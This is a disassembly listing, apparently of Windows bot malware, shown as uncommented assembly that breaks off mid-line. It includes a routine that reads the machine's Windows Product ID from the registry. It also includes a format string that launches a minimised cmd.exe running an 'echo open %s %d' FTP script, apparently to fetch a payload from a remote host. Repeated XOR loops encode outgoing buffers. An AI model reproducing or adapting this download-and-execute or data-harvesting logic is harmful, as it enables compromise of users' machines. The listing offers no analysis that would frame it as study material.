[esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx call near ptr 28E0000h nop test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 2900000h loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb call near ptr 77C2C407h nop mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h nop call sub_5EDAB2 lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- db 88h, 2 dup(0CCh) dword_4367D0 dd 7FF738E9h, 0E990C077h, 777E573Ch, 2BE5E990h ; ___:0043E018o ... ; --------------------------------------------------------------------------- jg short loc_436859 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0A2h, 12h dd 0E9907781h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- db 71h db 90h db 0E9h, 0E1h, 0ACh ; --------------------------------------------------------------------------- jle short loc_43687D mov eax, ecx mov dword ptr [eax], offset off_43E1D4 retn 4 ; --------------------------------------------------------------------------- loc_436811: ; DATA XREF: ___:off_43E1D4o push esi mov esi, ecx call sub_436BCC ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_436827 push esi call sub_4367E2 ; --------------------------------------------------------------------------- pop ecx loc_436827: ; CODE XREF: ___:0043681Ej mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp nop jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 4Ch, 97h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_436859: ; CODE XREF: ___:004367E0j cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 0E9903977h, 777E6714h db 0E9h ; --------------------------------------------------------------------------- loc_43687D: ; CODE XREF: ___:00436804j cmc xchg eax, ecx xor byte ptr [edi-18h], 90h jmp near ptr 77C47A50h ; --------------------------------------------------------------------------- db 90h db 0E9h, 0F0h, 35h dd 8DE97780h, 1B778110h, 7F5B6EE9h, 3D83FF77h, 50E9F4h dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h, 50E9E4h dd 50E9F468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 7F593EE9h dd 0D9E96C77h, 74778008h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4368EA proc near ; CODE XREF: sub_4198C0+28p jmp near ptr 77C4FA10h sub_4368EA endp ; --------------------------------------------------------------------------- scasb ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 0D3h, 0A0h dd 0E9907780h, 7780862Ch, 811478E9h, 0E9908077h, 7780A486h dd 0A805E990h, 0E9907780h, 7780AB78h, 80A99BE9h, 34E94E77h dd 27780ADh, 11D2E990h, 5FE97781h, 767780B1h, 8084DDE9h dd 0E9909577h, 7780A3F3h, 569DE990h, 0E990777Fh, 777E5B35h dd 8003C1E9h, 0E9909777h, 778007C2h, 7E887FE9h, 0E9909A77h dd 77808EEDh, 80AE21E9h, 0E990A677h, 7780398Bh, 38B1E990h dd 0E9907780h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 7780030Ch, 80A144E9h, 0D0561B77h, 574E35A8h, 0B0C4B231h dd 65C01F5Ah, 0A164B9h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh dd 0D835990h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h dd 0D8B777Eh, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22C95C8h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 2459464h dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0E8908875h, 778032CEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436BCC proc near ; CODE XREF: ___:00436814p jmp near ptr 77C21868h sub_436BCC endp ; --------------------------------------------------------------------------- db 0FFh, 90h, 0E9h dword_436BD4 dd 777FE279h, 32BCE990h, 0CBE97780h, 5D777FC1h, 7E8302E9h dd 0E9900777h, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 7E8593E9h, 0E9909C77h dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 818206E9h dd 3CE90477h, 2075C697h, 9819E990h, 0E99075C6h, 75C5B3F2h dd 0C58844E9h, 0E9E9A175h, 0FA75C697h, 0B319E990h, 0E99075C4h dd 75C54BF8h, 0A55E990h, 85E975C6h, 1675C4EEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep nop jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23A9C3Ah, 3A9CB9E9h, 95E92802h, 62023A9Eh, 9382E990h dd 0E990023Bh, 23C937Ch, 0A42DE990h, 0E990023Ch, 23D9370h dd 3E936BE9h, 0E9900E02h, 23EAACAh, 0AC44E990h, 59E9023Eh dd 46023F93h, 9637E990h, 0E990023Fh, 23F9804h, 9346E990h dd 0E9900240h, 240978Eh, 933AE990h, 0E9900241h, 2419F7Ah dd 42932FE9h, 9FE9E602h, 41024296h, 439323E9h, 1DE97102h dd 7024493h, 44A536E9h, 0E9907B02h, 2459310h, 9522E990h dd 0E9900245h, 2459BC6h, 9F61E990h, 0E9900245h, 24692F8h dd 3A92F3E9h, 0E9900E02h, 2399A6Eh, 92E6E990h, 0E9900239h dd 23892E0h, 379B11E9h, 0E9905D02h, 23792D4h, 92CEE990h dd 0E9900236h, 2359984h, 359694E9h, 0E9908802h, 23592BCh dd 98C5E990h, 0E9900234h, 22C92B0h, 92AAE990h, 0E9900234h dd 2339D79h, 9D4BE990h, 86E90233h, 0D97C4CA3h, 0A297E990h dd 0E9907C4Ch, 2339B24h, 99C1E990h, 0E9900233h, 2339280h dd 9D30E990h, 0AFE90232h, 6202329Ch, 9AB3E990h, 0E9900232h dd 23298C9h, 969CE990h, 0E9900232h, 23293EFh, 329257E9h dd 0F4E9B802h, 0AE02319Eh, 319C4FE9h, 0E9907E02h, 2319915h dd 9877E990h, 0E9900231h, 2319238h, 9E5AE990h, 0E9900230h dd 2309AF9h, 309936E9h, 0E9902D02h, 23095CCh, 921AE990h dd 0E9900230h, 22F9DA0h, 9A1CE990h, 0E990022Fh, 22F99E9h dd 2F93AEE9h, 0FDE97E02h, 0D4022F91h, 2E9DEFE9h, 0F2E91602h dd 41022E98h, 91EAE990h, 9DE9022Eh, 88022D9Fh, 2D9E15E9h dd 5AE94102h, 50022D9Bh, 2D9912E9h, 0E9909A02h, 22D91CCh dd 9306E990h, 73E9022Ch, 4E001B6Ch, 469595E9h, 0E990A102h dd 250A3ECh, 91AEE990h, 0E990024Ch, 25091A8h, 4F938EE9h dd 0E990C002h, 24F919Ch, 9196E990h, 0E990024Eh, 24D94DEh dd 4D918BE9h, 0E990B302h, 24C9E0Ch, 9AE0E990h, 0E990024Ch dd 24C9902h, 9693E990h, 0E990024Ch, 24698AAh, 9CFDE990h dd 0ECE9024Bh, 97024B98h, 4B9502E9h, 0E990E802h, 24B9154h dd 4A914FE9h, 0E9904102h, 2499148h, 0AE36E990h, 0D7E90248h dd 4B0248A9h, 0A795E990h, 9AE90248h, 0BB0248A6h, 912AE990h dd 0E9900248h, 2479124h, 0A22EE990h, 0E9907C60h, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- dw 86E9h dd 53716875h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp nop jmp near ptr 71AB615Ah sub_436EFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... nop jmp near ptr 71AB428Ah sub_436F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... nop jmp near ptr 71AB9639h sub_436F06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p nop jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- dd 67BCA3E9h db 71h, 0C2h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F1E proc near nop jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- dd 67BC3DE9h db 71h, 0EBh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F2A proc near ; CODE XREF: sub_42D580+187p nop jmp near ptr 71AB951Eh sub_436F2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F30 proc near nop jmp near ptr 71AB3E00h sub_436F30 endp ; =============== S U B R O U T I N 